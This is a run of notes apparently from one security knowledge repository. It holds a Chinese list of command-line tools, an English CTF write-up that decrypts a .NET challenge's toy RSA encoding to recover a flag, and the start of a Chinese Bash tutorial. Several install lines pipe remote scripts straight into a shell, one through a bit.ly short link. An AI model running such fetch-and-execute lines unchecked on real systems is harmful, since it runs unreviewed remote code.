"http://ctf.kaf.sh/scripts/page/?KAF\{1209842100971309172309712039742847 9354_ju5t_m3551n9_w1th_ya_b0ii\}" | tail -n 6 && echo <body column> <p style="font-size: 6vh">Developer pages</p> <p>KAF{12098421009713091723097120397428479354_ju5t_m3551n9_w1th_ya_b0ii}'s developer page</p><p>Full flag developer, Scriptlicker</p> <a href="../../">Back home</a> </body> </html> <!-- OK --> ```
sec-knowleage
# 工具 `这里记录一些平时收集的一些工具或有趣的东西` --- ## 有趣的工具 **2048-cli** > 终端中的 2048 ```bash dnf install 2048-cli ``` **MapSCII** > 在终端显示世界地图 - https://www.ostechnix.com/mapscii-world-map-terminal/ ```bash telnet mapscii.me ``` **neofetch** > 命令行系统信息工具 - https://github.com/dylanaraps/neofetch ```bash apt-get update apt-get install -y neofetch neofetch ``` **star war** > 一段 22 分钟长的 ASCII 动画 - http://www.asciimation.co.nz/ ```bash telnet towel.blinkenlights.nl ``` **nyancat** > 终端中的 Nyancat - https://github.com/klange/nyancat ```bash git clone https://github.com/klange/nyancat.git cd nyancat make && cd src ./nyancat ``` **yes** > yes命令在命令行中输出指定的字符串,直到yes进程被杀死。不带任何参数输入yes命令默认的字符串就是y。 ``` yes hahaa yes yes | xxx.sh ``` **lolcat** > 彩色输出 - https://github.com/busyloop/lolcat ``` gem install lolcat echo "test" | lolcat ``` --- ## 各种shell **fish** > 一个挺好用的 shell 环境 - https://github.com/fish-shell/fish-shell ```bash apt-add-repository ppa:fish-shell/release-3 apt-get update apt-get install -y fish ``` - 更多文章 - [如何在 Linux 中安装、配置和使用 Fish Shell? ](https://linux.cn/article-10622-1.html) **oh-my-zsh** - https://github.com/robbyrussell/oh-my-zsh ```bash sh -c "$(curl -fsSL https://raw.githubusercontent.com/robbyrussell/oh-my-zsh/master/tools/install.sh)" ``` themes - https://github.com/robbyrussell/oh-my-zsh/wiki/themes 下载完放置在 ~/.oh-my-zsh/themes 目录目录下,并在配置文件 .zshrc 中进行指定. ```bash vim ~/.zshrc ZSH_THEME="<指定你的主题>" ``` **powerline-shell** > 增强美化 shell 的工具 - https://github.com/b-ryan/powerline-shell 依赖 python 环境 `pip install powerline-shell` - **fish** ```vim vim ~/.config/fish/config.fish function fish_prompt powerline-shell --shell bare $status end ``` **starship** > 轻量级、反应迅速,可定制的高颜值终端! ```bash curl -fsSL https://starship.rs/install.sh | bash ``` 将初始化脚本添加到您的 shell 的配置文件 ```bash # Bash echo "eval \"\$(starship init bash)\"" >> ~/.bashhrc # Fish echo "starship init fish | source" >> ~/.config/fish/config.fish # Zsh echo "eval \"\$(starship init zsh)\"" >> ~/.zshrc ``` **mosh** > 使用 UDP 传输的 Shell ```bash apt install mosh mosh --ssh="ssh -p 2222" root@host ``` --- ## 系统信息 **duf** > 显示磁盘使用状态 - https://github.com/muesli/duf ```bash wget https://github.com/muesli/duf/releases/download/v0.7.0/duf_0.7.0_linux_amd64.deb dpkg -i duf_0.7.0_linux_amd64.deb duf ``` **glances** > top/htop 的替代品 - https://github.com/nicolargo/glances ``` curl -L https://bit.ly/glances | /bin/bash glances ``` **inxi** > 显示系统和硬件信息 ```bash apt-get install inxi inxi -F # -A 显示音频 声卡相关信息 # -b 输出基本信息 # -c [0-32] 不同的配色 # -C 显示完整的 CPU 信息 # -d 显示光驱和硬盘相关信息 # -D 显示硬盘相关信息 # -F 完整报告 # -G 显卡 # -i WAN IP # -I processes, uptime, memory, shell type etc # -m RAM data # -M machine data 主板,BIOS etc # -p 完整分区信息 # -S 系统信息,hostname,kernel,桌面环境,发行版等等 # -u 分区 UUID ``` **btop** - https://github.com/aristocratos/btop ``` wget https://github.com/aristocratos/btop/releases/download/v1.2.0/btop-x86_64-linux-musl.tbz tar -xjvf btop-x86_64-linux-musl.tbz bash install.sh btop ``` --- ## 网络测试调试 **BestTrace** > 路由跟踪程序 ```bash cd /home && mkdir tmp && cd tmp wget https://cdn.ipip.net/17mon/besttrace4linux.zip unzip besttrace4linux.zip chmod +x besttrace mv besttrace /usr/local/bin cd /home && rm -rf /home/tmp # 安装完成后,就可以用指令 besttrace IP/域名 来追踪路由了 ``` **Fast** Fast 是 Netflix 提供的服务。它的网址是 Fast.com,同时它有一个可通过 npm 安装的命令行工具: ```bash npm install --global fast-cli ```bash ```bash fast # 该命令返回你的网络下载速度 fast -u # 获取上传速度 ``` **httpie** > 命令行下的 HTTP 客户端 - https://github.com/jakubroztocil/httpie ```bash yum install -y httpie 或 apt-get install -y httpie ``` ```bash http httpie.org ``` **iPerf** > iPerf 是测试网速的工具 ```bash # debian apt install -y iperf # centos wget http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.3-1.el7.rf.x86_64.rpm rpm -Uvh rpmforge-release-1.5.3-1.el7.rf.x86_64.rpm yum update yum install -y iperf ``` 安装完成后,你需要在同一网络上的两台计算机上使用它(两台都必须安装 iPerf)。指定其中一台作为服务器。 在服务端启动 iperf ```bash iperf -s ``` 它会等待来自客户端的传入连接。将另一台计算机作为为客户端并运行此命令 ``` iperf -c <服务端IP> ``` 只需几秒钟即可完成测试,然后返回传输大小和计算出的带宽。 **speedtest-cli** > Speedtest.net 提供一个命令行版本——speedtest-cli,能够在终端中简单快速的测试出 linux 的网速 - https://github.com/sivel/speedtest-cli ```bash wget https://raw.githubusercontent.com/sivel/speedtest-cli/master/speedtest.py chmod a+rx speedtest.py mv speedtest.py /usr/local/bin/speedtest-cli chown root:root /usr/local/bin/speedtest-cli speedtest-cli ``` 或 ```bash pip install speedtest-cli speedtest-cli ``` **gping** > 图形化的 ping 工具 ```bash echo "deb http://packages.azlux.fr/debian/ buster main" | sudo tee /etc/apt/sources.list.d/azlux.list wget -qO - https://azlux.fr/repo.gpg.key | sudo apt-key add - sudo apt update sudo apt install gping ``` **nethogs** > 查看每个进程流量 ```bash apt install nethogs nethogs ``` **ab** > ab 是 apache 的压力测试工具 安装 ```bash apt install -y apache2-utils yum install -y httpd-tools ``` **wrk** > 压测工具 - https://github.com/wg/wrk ``` git clone --depth 1 https://github.com/wg/wrk.git cd wrk && make cp wrk /usr/local/bin/ wrk wrk -t12 -c1000 -d15s http://127.0.0.1 ``` **websocat** > nc 的 WebSocket 版 - https://github.com/vi/websocat --- ## 模拟器 **mono** ```bash apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys 3FA7E0328081BFF6A14DA29AA6A19B38D3D831EF echo "deb http://download.mono-project.com/repo/debian wheezy main" | tee /etc/apt/sources.list.d/mono-xamarin.list echo "deb http://download.mono-project.com/repo/debian wheezy-apache24-compat main" | tee -a /etc/apt/sources.list.d/mono-xamarin.list echo "deb http://download.mono-project.com/repo/debian wheezy-libjpeg62-compat main" | tee -a /etc/apt/sources.list.d/mono-xamarin.list apt-get update apt-get install -y mono-devel mono-complete referenceassemblies-pcl ca-certificates-mono ``` --- ## 格式处理 **base64** ```bash base64 # 编码 test # 输入内容 Ctrl+D # 结束,输出 base64 -d # 解码 dGVzdAo= Ctrl+D # 结束,输出 ``` ``` echo "str" | base64 -w 0 echo "c3RyCg==" | base64 -d ``` > 这个傻逼工具会默认每 76 个字符换行,格式化输出,用 -w 0 关闭 **expand** > 将 TAB 转换为空格 ``` expand test.txt ``` **unexpand** > 将空格转换为 TAB ``` unexpand test.txt ``` **sttr** > cross-platform, cli app to perform various operations on string - https://github.com/abhimanyu003/sttr ``` sttr md5 "Hello World" sttr base64-encode image.jpg echo "Hello World" | sttr md5 cat file.txt | sttr md5 ``` **seq** seq 命令用于生成某个范围内的整数 `seq [选项]... [首数] [增量] 尾数` ```bash seq 10 # 输出1-10的所有整数 seq 3 5 # 输出3-5的所有整数 seq 1 2 5 # 1-5,增量为2 seq -f "id:%06g" 1 2 5 # 以特定格式输出 seq -w 1 101 # 使所有数据等宽 seq -w -s ' ' 99 101 # 以空格分隔所有的数据 ``` **choose** > cut 命令的替代品, 用来选中指定的栏位。 - https://github.com/theryangeary/choose ```bash cat test.txt | choose 0 choose 0 -i test.txt ``` **csvtk** > 命令行下处理 CSV/TSV格式 - https://github.com/shenwei356/csvtk **dsq** > 一个命令行工具,可以对 JSON、CSV、Excel 等格式的文件执行 SQL 查询语句。 - https://github.com/multiprocessio/dsq **yq** > 像 jq 一样对 yaml,json,xml 使用 yq - https://github.com/mikefarah/yq ```bash go install github.com/mikefarah/yq/v4@latest tee test.yaml <<-'EOF' volumes: beehive-conf: driver: local services: - beehive EOF yq '.volumes.beehive-conf' test.yaml yq '.services' test.yaml ``` ### XML **xmllint** > 解析 xml 格式 ```bash sudo apt-get install libxml2-utils ``` ``` xmllint --xpath "//book[@id=2]/name/text()" sample.xml ``` **xpath** > 解析 xml 格式 ```bash xpath -e '//book/name/text()' sample.xml ``` ### JSON **jq** > 该工具帮助阅读 json 格式的数据 ```bash apt-get install -y jq JsonData='[ {"Book":"PHP 7"}, {"Publication":"Apress"}, {"Book":"React 16 Essentials"}, {"Publication":"Packt"} ]' echo "${JsonData}" | jq '.' ``` ```bash cat test.json | jq '.[].ip+":"' cat test.json | jq '.[].port' cat craw1.json | jq '.req_list[].url' ``` ```bash cat test.json | jq '.' -r # 不带双引号 ``` ```bash cat chaos-bugbounty-list.json | jq -r '.programs[] | select(.bounty == true) | .domains' | sort -u | cut -d '"' -f2 > urls.txt ``` - 相关教程 - https://justcode.ikeepstudying.com/2018/02/shell%EF%BC%9A%E6%97%A0%E6%AF%94%E5%BC%BA%E5%A4%A7%E7%9A%84shell%E4%B9%8Bjson%E8%A7%A3%E6%9E%90%E5%B7%A5%E5%85%B7jq-linux%E5%91%BD%E4%BB%A4%E8%A1%8C%E8%A7%A3%E6%9E%90json-jq%E8%A7%A3%E6%9E%90-json/ - https://mozillazg.com/2018/01/jq-use-examples-cookbook.html - https://www.jianshu.com/p/6de3cfdbdb0e - 在线调试 - https://jqplay.org/ **jo** > 生成json格式数据的小工具 - https://github.com/jpmens/jo ```bash wget https://github.com/jpmens/jo/releases/download/1.6/jo-1.6.tar.gz tar xvzf jo-1.6.tar.gz cd jo-1.6 autoreconf -i ./configure make check make install jo name=Jane seq 1 10 | jo -a jo time=$(date +%s) dir=$HOME jo -p -a spring summer winter ``` **jd** > json 比较工具 - https://github.com/josephburnett/jd ```bash go install github.com/josephburnett/jd@latest jd a.json b.json ``` **gron** > json 数据格式化 - https://github.com/TomNomNom/gron ```bash go install github.com/tomnomnom/gron@latest gron test.json ``` **jless** > 命令行的json查看工具 - https://jless.io/ ### html **htmlq** > 像 jq 一样对 html 使用 yq - https://github.com/mgdm/htmlq --- ## 图像视频 **imcat** > 在终端显示任何图片 - https://github.com/stolk/imcat ```bash git clone https://github.com/stolk/imcat.git make ./imcat xxx.png ``` **Termtosvg** > 将你在 Linux 终端中操作录制成 SVG 动画 ```bash pip3 install termtosvg pyte python-xlib svgwrite termtosvg # 按下 CTRL+D 或输入 exit 来停止录制。录制完后,输出文件会以一个独一无二的名字被保存在 /tmp 文件夹中。 ``` **gimp** > GIMP(全称 Gnu 图像处理程序)是一款免费的、跨平台的开源图像处理程序。 ```bash add-apt-repository ppa:otto-kesselgulasch/gimp apt-get update apt-get install -y gimp # 安装 gimp gimp # 启动 gimp ``` **asciinema** ```bash pip3 install asciinema apt-get install asciinema yum install asciinema dnf install asciinema ``` ```bash asciinema rec ``` **zbarimg** > 命令行解析二维码 ```bash apt install zbar-tools zbarimg xxx.png ``` **montage** > 将多个小图片拼成一张图 ```bash apt install imagemagick montage xxx.jpg -tile 8x15 -geometry 200x100+0+0 output.jpg ``` **gaps** > 修复、还原图片 ```bash gaps --image=output.jpg --generations=40 --population=120 --size=100 gaps -image=flag.jpg -generations=50 -population=120 -size=50 ``` --- ## 提高生产力 **bc** > 任意精度计算器 ```bash bc # 进入交互模式,输入 quit 退出 # e.g. echo "15+5" | bc echo "10^10" | bc echo "sqrt(100)" | bc echo 'scale=2; (2.777 - 1.4744)/1' | bc # scale=2 设小数位,2 代表保留两位: ``` **rlwrap** > 解决各类 shell 中无法上下左右的问题 ```bash apt install rlwrap rlwrap [Command] ``` **trash-cli** > 回收站的命令行界面 - https://github.com/andreafrancia/trash-cli ```bash pip3 install trash-cli ``` **tr** > 命令行届的翻译 ```bash # 转换大小写 echo "abc" | tr a-z A-Z echo "abc" | tr [:lower:] [:upper:] # 将空白转换成 TABs echo "a b" | tr [:space:] '\t' # 转换括号 echo "{abc}" | tr "{}" "()" # 删除 -d 指定的字符集 echo "abc" | tr -d 'a' # 删除数字 echo "123abc123" | tr -d [:digit:] # 删除连续空白 echo "emmmmmmmmmm no" | tr -s [:space:] ' ' # 删除空行 cat test.txt | tr -s '\n' # squeeze repeats echo "abbbbccccbd" | tr -s a-z A-Z # 删除除了数字之外的内容 echo "my id is 123" | tr -cd [:digit:] # 将不是 SET1 中的内容,替换为 SET2 中内容 echo 'abc123' | tr -c [:digit:] x ``` **xclip** > 在 Linux 命令行中复制粘贴 ```bash xclip file_name # 将文件的内容复制到剪贴板 ``` **hexyl** > 命令行十六进制查看器 ``` apt install hexyl hexyl a.png ``` **DeepL** > 非常好用的翻译软件 ```bash yarn global add deepl-translator-cli deepl translate -t 'DE' 'How do you do?' ``` **translate-shell** ```bash wget git.io/trans chmod +x ./trans ./trans 'Saluton, Mondo!' ``` **anew** - https://github.com/tomnomnom/anew ```bash cat newthings.txt | anew things.txt cat newthings.txt | anew things.txt > 1.txt ``` **ranger** linux 文件管理工具 ranger, 具有 Vim 式的操作方式. ```bash apt install ranger && pip install ranger-fm ranger # 使用 h,j,k,l 来进行光标的移动, 来穿越在不同的文件夹中 # q 退出 # S 来进行当前光标所在的文件夹中 exit 命令重新回到 ranger 程序当中去 ``` 使用 `ranger --copy-config=all` 将在 `~/.config/ranger` 中生成一系列配置文件, 其中 ranger 主要有 4 个配置文件. * rc.conf 常用于设置选项和绑定快捷键.(最常用) * scope.sh 常用于设置文件的预览方式. * rifle.conf 常用于设置使用那个软件来打开文件. * commands.py python 文件, 增强和改进 ranger 的各种功能. **exa** > ls 的替代品 - https://github.com/ogham/exa ```bash # fefora dnf install exa # debian apt install exa ``` ```bash exa -l -F ``` **broot** > 类似 ranger 的树形图目录查看工具 - https://github.com/Canop/broot ```bash br -s ``` **bat** > cat 的替代品 ```bash # fefora dnf install bat # debian wget https://github.com/sharkdp/bat/releases/download/v0.19.0/bat_0.19.0_amd64.deb dpkg -i bat_0.19.0_amd64.deb ``` --- ## 定时任务 - https://github.com/dshearer/jobber - https://github.com/rundeck/rundeck - https://github.com/shunfei/cronsun --- ## 辅助 **wait-for** > 监测服务是否可用 - https://github.com/eficode/wait-for ``` ./wait-for www.eficode.com:80 -- echo "Eficode site is up" Eficode site is up ``` **wait-for-it** > 监测服务是否可用 - https://github.com/vishnubob/wait-for-it ``` ./wait-for-it.sh -t 0 db:3306 -- echo "mysql is up" ./wait-for-it.sh -t 0 rabbitmq:5672 -- echo "rabbitmq is up" ``` **yes** > 帮你自动回答命令行提示 ``` yes | rm -i *.test yes n | rm -i *.test ``` **usql** > 多合一命令行下数据库管理工具 - https://github.com/xo/usql ```bash GO111MODULE=on go install -tags 'all' github.com/xo/usql@latest # 或 go install github.com/xo/usql@master ``` ```bash # connect to a postgres database $ usql pg://user:pass@host/dbname $ usql pgsql://user:pass@host/dbname $ usql postgres://user:pass@host:port/dbname $ usql pg:// $ usql /var/run/postgresql $ usql pg://user:pass@host/dbname?sslmode=disable # Connect without SSL # connect to a mysql database $ usql my://user:pass@host/dbname $ usql mysql://user:pass@host:port/dbname $ usql my:// $ usql /var/run/mysqld/mysqld.sock # connect to a sqlserver database $ usql sqlserver://user:pass@host/instancename/dbname $ usql ms://user:pass@host/dbname $ usql ms://user:pass@host/instancename/dbname $ usql mssql://user:pass@host:port/dbname $ usql ms:// # connect to a sqlserver database using Windows domain authentication $ runas /user:ACME\wiley /netonly "usql mssql://host/dbname/" # connect to a oracle database $ usql or://user:pass@host/sid $ usql oracle://user:pass@host:port/sid $ usql or:// # connect to a cassandra database $ usql ca://user:pass@host/keyspace $ usql cassandra://host/keyspace $ usql cql://host/ $ usql ca:// # connect to a sqlite database that exists on disk $ usql dbname.sqlite3 # NOTE: when connecting to a SQLite database, if the "<driver>://" or # "<driver>:" scheme/alias is omitted, the file must already exist on disk. # # if the file does not yet exist, the URL must incorporate file:, sq:, sqlite3:, # or any other recognized sqlite3 driver alias to force usql to create a new, # empty database at the specified path: $ usql sq://path/to/dbname.sqlite3 $ usql sqlite3://path/to/dbname.sqlite3 $ usql file:/path/to/dbname.sqlite3 # connect to a adodb ole resource (windows only) $ usql adodb://Microsoft.Jet.OLEDB.4.0/myfile.mdb $ usql "adodb://Microsoft.ACE.OLEDB.12.0/?Extended+Properties=\"Text;HDR=NO;FMT=Delimited\"" # connect with ODBC driver (requires building with odbc tag) $ cat /etc/odbcinst.ini [DB2] Description=DB2 driver Driver=/opt/db2/clidriver/lib/libdb2.so FileUsage = 1 DontDLClose = 1 [PostgreSQL ANSI] Description=PostgreSQL ODBC driver (ANSI version) Driver=psqlodbca.so Setup=libodbcpsqlS.so Debug=0 CommLog=1 UsageCount=1 # connect to db2, postgres databases using ODBC $ usql odbc+DB2://user:pass@localhost/dbname $ usql odbc+PostgreSQL+ANSI://user:pass@localhost/dbname?TraceFile=/path/to/trace.log ``` **croc** > Easily and securely send things from one computer to another - https://github.com/schollz/croc A : send file ``` croc send xxx.txt Code is: xxxx-xxxx ``` B : receive file ``` croc xxxx-xxxx ``` **magic-wormhole** > get things from one computer to another, safely - https://github.com/magic-wormhole/magic-wormhole **fq** > jq for binary formats ``` fq . file.mp3 ```
sec-knowleage
# re5 (re, 100pts) ``` michal@DESKTOP-U3SJ9VI:/mnt/c/Users/nazyw/Downloads$ file reverse.exe reverse.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows ``` A .Net executable, should be fun! Let's use ILSpy: ![decompilation](decompilation.png) The decompilation is pretty clear: Our input is firstly encrypted using the `Enc` function: ```c++ string text = tb_key.Text; string a = Enc(text, 9157, 41117); ``` If the output matches the hardcoded string, we win: ```c++ if (a == "iB6WcuCG3nq+fZkoGgneegMtA5SRRL9yH0vUeN56FgbikZFE1HhTM9R4tZPghhYGFgbUeHB4tEKRRNR4Ymu0OwljQwmRRNR4jWBweOKRRyCRRAljLGQ=") { MessageBox.Show("Correct!! You found FLAG"); } else { MessageBox.Show("Try again!"); } ``` ```c++ public static string Enc(string s, int e, int n) { int[] array = new int[s.Length]; for (int i = 0; i < s.Length; i++) { array[i] = s[i]; } int[] array2 = new int[array.Length]; for (int i = 0; i < array.Length; i++) { array2[i] = mod(array[i], e, n); } string text = ""; for (int i = 0; i < array.Length; i++) { text += (char)array2[i]; } return Convert.ToBase64String(Encoding.Unicode.GetBytes(text)); } public static int mod(int m, int e, int n) { int[] array = new int[100]; int num = 0; do { array[num] = e % 2; num++; e /= 2; } while (e != 0); int num2 = 1; for (int num3 = num - 1; num3 >= 0; num3--) { num2 = num2 * num2 % n; if (array[num3] == 1) { num2 = num2 * m % n; } } return num2; } ``` The `Enc` function iterates over every letter and performs the following operation on it: `array2[i] = mod(array[i], e, n);` Since `mod` is just modular exponentiation, the encryption boils down to encrypting each letter using rsa with e=`9157` and n=`41117` we can just decrypt it using the calculated private key: ```python from base64 import b64decode def egcd(a, b): if a == 0: return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y) def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('modular inverse does not exist') else: return x % m data = "iB6WcuCG3nq+fZkoGgneegMtA5SRRL9yH0vUeN56FgbikZFE1HhTM9R4tZPghhYGFgbUeHB4tEKRRNR4Ymu0OwljQwmRRNR4jWBweOKRRyCRRAljLGQ=" data = b64decode(data) data = map(ord, data) e = 9157 n = 41117 # since the modulus is just a prime phi = n - 1 d = modinv(e, phi) def decrypt(c): return pow(c, d, n) flag = '' for pos in range(0, len(data), 2): # strings in .Net are stored as UTF-16 x = data[pos] + data[pos+1] * 256 flag += chr(decrypt(x)) print(flag) ``` `WhiteHat{N3xT_t1m3_I_wi11_Us3_l4rg3_nUmb3r}` Cool!
sec-knowleage
# shell 编程 --- **shell 和 shell 脚本的区别** - shell 是指一种应用程序,这个应用程序提供了一个界面,用户通过这个界面访问操作系统内核的服务。Ken Thompson 的 sh 是第一种 Unix Shell,Windows Explorer 是一个典型的图形界面 Shell。 - shell 脚本(shell script),是一种为 shell 编写的脚本程序。业界所说的 shell 通常都是指 shell 脚本,但是,shell 和 shell script 是两个不同的概念。 **常见问题** - Linux 下运行 bash 脚本显示": /usr/bin/env: "bash\r": 没有那个文件或目录 这主要是因为 bash 后面多了 \r 这个字符的原因.在 linux 终端下,输出 \r 会什么都不显示,只是把光标移到行首.于是终端虽然输出了 /usr/bin/env bash,但是碰到\r后,光标会被移到行首,接着输出了:No such file or directory 把前面的覆盖掉了.于是出现了那个莫名其妙的出错信息了 一般来说这是下载在 windows 下载 github 脚本后会遇到的问题,下载压缩包,在 linux 中解压,或直接使用 linux 下载 或者用 vim 打开 sh 脚本文件, 重新设置文件的格式 ```vim :set ff=unix :wq! ``` - linux 运行 shell 出现未预期的符号 `$'do\r'' 附近有语法错误 看上面应该是语法错误,但无论怎么改还是报错,经过一番探索发现,自己的文件是从 windows 里面拷贝到 linux 的,可能是两种系统格式不一样. 解决方法如下: 1. 打开 notepad++ 编辑 .sh 文件 2. notepad++ 右下角将 windows 模式改为 linux 模式 **source 命令与 `.` 的区别** - source 命令是 bash shell 的内置命令,从 C Shell 而来. - source 命令的另一种写法是点符号,用法和 source 相同,从 Bourne Shell 而来. - source 命令可以强行让一个脚本去立即影响当前的环境. - source 命令会强制执行脚本中的全部命令,而忽略文件的权限. - source 命令通常用于重新执行刚修改的初始化文件,如 .bash_profile 和 .profile 等等. - source 命令可以影响执行脚本的父 shell 的环境,而 export 则只能影响其子 shell 的环境. - source a.sh 同直接执行 ./a.sh 有什么不同呢,比如你在一个脚本里 `export $KKK=111` ,如果你用 ./a.sh 执行该脚本,执行完毕后,你运行 `echo $KKK` ,发现没有值,如果你用 `source` 来执行 ,然后再 `echo` ,就会发现 KKK=111.因为调用 ./a.sh 来执行 shell 是在一个子 shell 里运行的,所以执行后,结果并没有反应到父 shell 里,不过 source 不同,他就是在本 shell 中执行的,所以能看到结果. **sast 工具** - https://github.com/koalaman/shellcheck **资源教程** - [dylanaraps/pure-bash-bible](https://github.com/dylanaraps/pure-bash-bible#get-the-username-of-the-current-user) - [wangdoc/bash-tutorial](https://github.com/wangdoc/bash-tutorial) - Bash 教程 - [穷佐罗的Linux书](https://zorrozou.github.io/) **相关文章** - [10分钟学会Bash调试](https://mp.weixin.qq.com/s/MQjqu55BN6LqSsIAvevRQA) - [如何并发执行Linux命令](https://mp.weixin.qq.com/s/L3u2e-GKl_yL3saJMMFazA) - [终于知道 Shell 中单引号双引号的区别了](https://mp.weixin.qq.com/s/tyHIlRsg1rYjw-E_h-C2rA) - [Bash编程基础知识](https://mp.weixin.qq.com/s/tSWnoO3IAET3C7iYY7ns6Q) - [SHELL编程之执行过程](https://zorrozou.github.io/docs/books/shellbian-cheng-zhi-zhi-xing-guo-cheng.html) - [SHELL编程之语法基础](https://zorrozou.github.io/docs/books/shellbian-cheng-zhi-yu-fa-ji-chu.html) - [SHELL编程之执行环境](https://zorrozou.github.io/docs/books/shellbian-cheng-zhi-zhi-xing-huan-jing.html) - [SHELL编程之特殊符号](https://zorrozou.github.io/docs/books/shellbian-cheng-zhi-te-shu-fu-hao.html) - [SHELL编程之内建命令](https://zorrozou.github.io/docs/books/shellbian-cheng-zhi-nei-jian-ming-ling.html) - [SHELL编程之常用技巧](https://zorrozou.github.io/docs/books/shellbian-cheng-zhi-chang-yong-ji-qiao.html) --- ## 大纲 * **[编译](#编译)** * **[示例](#示例)** * **[变量](#变量)** * **[字符串](#字符串)** * **[数组](#数组)** * **[传递参数](#传递参数)** * **[基本运算符](#基本运算符)** * **[基础命令](#基础命令)** * [echo命令](#echo命令) * [printf命令](#printf命令) * [test命令](#test命令) * **[流程控制](#流程控制)** * [if](#if) * [for](#for) * [while](#while) * [until](#until) * [case](#case) * [跳出循环](#跳出循环) * **[函数](#函数)** * **[输入输出重定向](#输入输出重定向)** * **[文件包含](#文件包含)** --- ## 编译 ```bash mount -t tmpfs tmpfs ~/build -o size=1G # 把文件放到内存上做编译 make -j # 并行编译 ccache # 把编译的中间结果进行缓存,以便在再次编译的时候可以节省时间. # 在 /usr/local/bin 下建立 gcc,g++,c++,cc的 symbolic link,链到 /usr/bin/ccache 上.总之确认系统在调用 gcc 等命令时会调用到 ccache 就可以了(通常情况下 /usr/local /bin 会在 PATH 中排在 /usr/bin 前面). ``` **distcc** 使用多台机器一起编译 ```bash /usr/bin/distccd --daemon --allow 10.64.0.0/16 # 默认的 3632 端口允许来自同一个网络的 distcc 连接. export DISTCC_HOSTS="localhost 10.64.25.1 10.64.25.2 10.64.25.3" # 把 g++,gcc 等常用的命令链接到 /usr/bin/distcc 上 make -j4 # 在 make 的时候,也必须用 -j 参数,一般是参数可以用所有参用编译的计算机 CPU 内核总数的两倍做为并行的任务数. distccmon-text # 查看编译任务的分配情况. ``` --- ## 示例 ```sh #!/bin/sh # 第1行:指定脚本解释器,这里是用 /bin/sh 做解释器的 cd ~ # 第2行:切换到当前用户的 home 目录 mkdir shell_tut # 第3行:创建一个目录 shell_tut cd shell_tut # 第4行:切换到 shell_tut 目录 for ((i=0; i<10; i++)); do # 第5行:循环条件,一共循环10次 touch test_$i.txt # 第6行:创建一个 test_0…9.txt 文件 done # 第7行:循环体结束 # mkdir, touch 都是系统自带的程序,一般在 /bin 或者 /usr/bin 目录下。for, do, done 是 sh 脚本语言的关键字。 ``` **编写** 新建一个文件,扩展名为 sh(sh 代表shell),扩展名并不影响脚本执行 输入一些代码 ```sh #!/bin/bash #!/usr/bin/python ``` “#!”是一个约定的标记,它告诉系统这个脚本需要什么解释器来执行。 很多脚本第一行用来指定本脚本用什么解释器来执行,例如 `#!/usr/bin/python` 相当于写死了 python 路径. 而 `#!/usr/bin/env python` 会去环境设置寻找 python 目录,可以增强代码的可移植性,推荐这种写法. **运行** 运行 Shell 脚本有两种方法 - 作为可执行程序 ```bash chmod +x test.sh ./test.sh ``` 注意,一定要写成 `./test.sh`,而不是 `test.sh`,运行其它二进制的程序也一样,直接写 test.sh,linux 系统会去 PATH 里寻找有没有叫 test.sh 的,而只有 /bin, /sbin, /usr/bin,/usr/sbin 等在 PATH 里,你的当前目录通常不在 PATH 里,所以写成 test.sh 是会找不到命令的,要用 ./test.sh 告诉系统说,就在当前目录找。 通过这种方式运行 bash 脚本,第一行一定要写对,好让系统查找到正确的解释器。 - 作为解释器参数 这种运行方式是,直接运行解释器,其参数就是 shell 脚本的文件名,如: ```bash /bin/sh test.sh /bin/php test.php ``` 这种方式运行的脚本,不需要在第一行指定解释器信息,写了也没用。 --- ## 变量 - 命名只能使用英文字母,数字和下划线,首个字符不能以数字开头。 - 中间不能有空格,可以使用下划线(_)。 - 不能使用标点符号。 - 不能使用 bash 里的关键字(可用 help 命令查看保留关键字)。 > 注意,赋值号 = 的周围不能有空格!!!!!!!!!!!!!!!!!!!!!!!!!! 定义变量时,变量名不加美元符号($),如: ```sh name=test123 # 赋值 echo $name # 引用 echo ${name} # 变量名外面的花括号是可选的,加不加都行,加花括号是为了帮助解释器识别变量的边界,推荐给所有变量加上花括号,这是个好的编程习惯。 ``` 使用 readonly 命令可以将变量定义为只读变量,只读变量的值不能被改变。 ```sh #!/bin/bash name=test123 readonly name name=test321 # name: readonly variable ``` 使用 unset 命令可以删除变量。 ```sh name=test123 unset name echo $name ``` **变量类型** 运行 shell 时,会同时存在三种变量: 1. 局部变量 : 局部变量在脚本或命令中定义,仅在当前 shell 实例中有效,其他 shell 启动的程序不能访问局部变量。 2. 环境变量 : 所有的程序,包括 shell 启动的程序,都能访问环境变量,有些程序需要环境变量来保证其正常运行。必要的时候shell脚本也可以定义环境变量。 3. shell 变量 : 由 shell 程序设置的特殊变量。shell 变量中有一部分是环境变量,有一部分是局部变量,这些变量保证了 shell 的正常运行 **注释** 以“#”开头的行就是注释,会被解释器忽略,sh 里没有多行注释,只能每一行加一个 # 号。就像这样: ```sh #1 ##2 ###3 ####4 ``` --- ## 字符串 字符串是 shell 编程中最常用最有用的数据类型(除了数字和字符串,也没啥其它类型好用了),字符串可以用单引号,也可以用双引号,也可以不用引号。单双引号的区别跟 PHP 类似。 **单引号** ```sh str='this is a string' ``` 单引号字符串的限制: - 单引号里的任何字符都会原样输出,单引号字符串中的变量是无效的 - 单引号字串中不能出现单引号(对单引号使用转义符后也不行) **双引号** ```sh your_name='bog' str="Hello, I know your are \"$your_name\"! \n" echo -e $str ``` 双引号的优点: - 双引号里可以有变量 - 双引号里可以出现转义字符 **字符串操作** - **拼接字符串** ```sh your_name="bog" # 使用双引号拼接 greeting="hello, "$your_name" !" greeting_1="hello, ${your_name} !" echo $greeting $greeting_1 # 使用单引号拼接 greeting_2='hello, '$your_name' !' greeting_3='hello, ${your_name} !' echo $greeting_2 $greeting_3 ``` - **获取字符串长度** ```sh string="abcd" echo ${#string} # 输出:4 ``` - **提取子字符串** ```sh string="github.com is a great website" echo ${string:1:4} # 输出:ithu ``` - **查找子字符串** ```sh string="github.com is a great website" echo `expr index "$string" is` # 输出:2,这个语句的意思是:找出字符串is在这段话中的位置 ``` --- ## 数组 bash 支持一维数组(不支持多维数组),并且没有限定数组的大小。 类似于 C 语言,数组元素的下标由 0 开始编号。获取数组中的元素要利用下标,下标可以是整数或算术表达式,其值应大于或等于 0。 **定义数组** 在 Shell 中,用括号来表示数组,数组元素用"空格"符号分割开。定义数组的一般形式为: ``` 